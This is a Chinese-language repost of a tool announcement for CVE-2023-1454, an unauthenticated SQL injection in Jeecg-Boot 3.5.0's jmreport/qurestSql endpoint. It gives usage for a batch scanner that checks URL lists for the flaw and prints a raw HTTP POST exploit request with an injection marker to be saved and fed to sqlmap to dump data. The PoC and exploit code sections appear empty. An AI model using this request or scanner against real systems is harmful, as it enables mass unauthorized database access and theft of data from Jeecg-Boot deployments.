CVE-2023-1454
jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台，最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。
说明
原工具地址：https://github.com/MzzdToT/CVE-2023-1454/
原工具误报率高，修改了一下判断条件顺便优化了代码。
工具利用
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试python3 CVE-2023-1454-scan.py -f url.txt 批量检测
扫描结束后会在当前目录生成存在漏洞url的vuln.txt
poc：
exp：
将数据包保存为txt用sqlmap可得到数据
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/json;charset=UTF-8Content-Length: 129{"apiSelectId":"1290104038414721025","id":"1*"}
项目作者：padbergpete47
项目地址：https://github.com/padbergpete47/CVE-2023-1454
原文始发于微信公众号（Ots安全）：CVE-2023-1454-Jeecg-Boot 前台SQL注入批量检测
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论